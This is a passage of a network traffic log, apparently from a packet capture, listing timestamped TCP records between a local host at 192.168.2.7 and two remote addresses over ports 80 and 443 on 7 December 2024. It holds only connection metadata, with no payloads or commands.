Dec 7, 2024 17:36:00.171854019 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.172688007 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.172739029 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.172831059 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.173513889 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.173675060 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.174542904 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.174576044 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.174602985 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.174638987 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.175407887 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.175540924 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.175542116 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.176305056 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.176359892 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.176440001 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.177289009 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.177333117 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.177341938 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.178150892 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.178316116 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.178945065 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.179277897 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.179332972 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.179352045 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.179980993 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.180145025 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.180161953 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.180937052 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.180990934 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.181051016 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.181792021 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.181859016 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.181922913 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.182965040 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.183131933 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.183522940 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.183592081 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.183638096 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.183758974 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.184545040 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.184596062 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.184735060 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.185501099 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.185553074 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.185702085 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.186441898 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.186486959 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.186528921 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.187318087 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.187475920 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.188112974 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.188214064 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.188262939 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.188388109 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.189291954 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.189347029 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.189409018 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.190118074 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.190177917 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.190320969 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.190987110 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.191041946 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.191142082 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.191898108 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.192032099 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.192734957 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.192823887 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.193011045 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.193742037 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.193794012 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.193972111 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.194653988 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.194792032 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.195564985 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.195576906 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.195605993 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.195693016 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.196522951 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.196629047 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.196688890 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.197377920 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.197423935 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.197560072 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.198343992 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.198395014 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.198477983 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.199275970 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.199331999 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.199414968 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.200160980 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.200206995 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.200284004 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.201590061 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.201838970 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.201939106 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.202425957 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.202471972 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.202507973 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.203196049 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.203321934 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.203332901 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.204169989 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.204226971 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.204263926 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.204729080 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.204778910 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.204865932 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.205672979 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.205813885 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.206183910 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.327521086 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.327697992 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.327754974 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.327956915 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.328242064 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.328289986 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.328924894 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.329068899 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.329118967 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.329818964 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.353075027 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.353127003 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.353127956 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.353391886 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.353439093 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.353602886 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.354229927 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.354284048 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.354406118 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.355391979 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.355441093 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.355479956 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.356087923 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.356132984 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.356230021 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.356900930 CET	443	49805	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.357153893 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.357202053 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.357287884 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.357970953 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.358031034 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.358110905 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.358886957 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.358931065 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.359003067 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.359874964 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.359925032 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.359932899 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.360076904 CET	443	49805	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.360136032 CET	49805	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.360179901 CET	49805	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.360197067 CET	443	49805	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.360213041 CET	49805	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.360218048 CET	443	49805	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.360696077 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.360745907 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.360810041 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.361584902 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.361633062 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.361876011 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.362688065 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.362740040 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.362864971 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.363007069 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.363040924 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.363106966 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.363234043 CET	49812	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.363243103 CET	443	49812	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.363475084 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.363511086 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.363622904 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.364413023 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.364459038 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.364490032 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.365259886 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.365309000 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.365441084 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.366183996 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.366234064 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.366344929 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.367145061 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.367197990 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.367302895 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.368026018 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.368072987 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.368151903 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.368966103 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.369014025 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.369071960 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.369894028 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.369940996 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.370018005 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.370795012 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.370836973 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.370918989 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.371850967 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.371905088 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.372134924 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.372661114 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.372704983 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.372775078 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.373693943 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.373747110 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.373878956 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.374481916 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.374525070 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.374608994 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.375365019 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.375411987 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.375499010 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.376281023 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.376332045 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.376411915 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.377264977 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.377311945 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.377346992 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.378130913 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.378185034 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.378276110 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.379163980 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.379211903 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.379236937 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.379985094 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.380034924 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.380177021 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.380914927 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.380964041 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.381031990 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.381922960 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.381959915 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.381978989 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.382730961 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.382771015 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.382839918 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.383634090 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.383673906 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.383758068 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.384576082 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.384623051 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.384680033 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.385633945 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.385672092 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.385757923 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.386369944 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.386410952 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.386625051 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.387310028 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.387346983 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.387474060 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.388247013 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.388288021 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.388389111 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.389168978 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.389209986 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.389286995 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.390079975 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.390119076 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.390218973 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.390981913 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.391024113 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.391104937 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.391882896 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.391927958 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.392095089 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.392831087 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.392874002 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.393039942 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.393752098 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.393805981 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.394035101 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.394668102 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.394725084 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.394815922 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.395607948 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.395656109 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.395757914 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.396495104 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.396542072 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.396619081 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.397485971 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.397531986 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.397629976 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.398293972 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.398339987 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.519787073 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.519901037 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.519959927 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.520153999 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.520359039 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.520402908 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.521004915 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.521177053 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.521219969 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.522001028 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.529858112 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.530294895 CET	49808	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.530316114 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.530764103 CET	49808	443	192.168.2.7	13.107.246.63
Dec 7, 2024 17:36:00.530769110 CET	443	49808	13.107.246.63	192.168.2.7
Dec 7, 2024 17:36:00.545331001 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.545408964 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.545464039 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.545757055 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.545805931 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.546112061 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.546644926 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.546689987 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.546772957 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.547542095 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.547605991 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.547703981 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.548520088 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.548569918 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.548661947 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.549422026 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.549463034 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.549603939 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.550296068 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.550357103 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.550590038 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.551213980 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.551258087 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.551347017 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.552202940 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.552247047 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.552314043 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.553071022 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.553116083 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.553231955 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.553973913 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.554019928 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.554119110 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.554889917 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.554938078 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.555025101 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.555811882 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.555866003 CET	49802	80	192.168.2.7	185.215.113.16
Dec 7, 2024 17:36:00.555939913 CET	80	49802	185.215.113.16	192.168.2.7
Dec 7, 2024 17:36:00.556744099 CET	80	49802	185.215.113.16	192.168.2.7
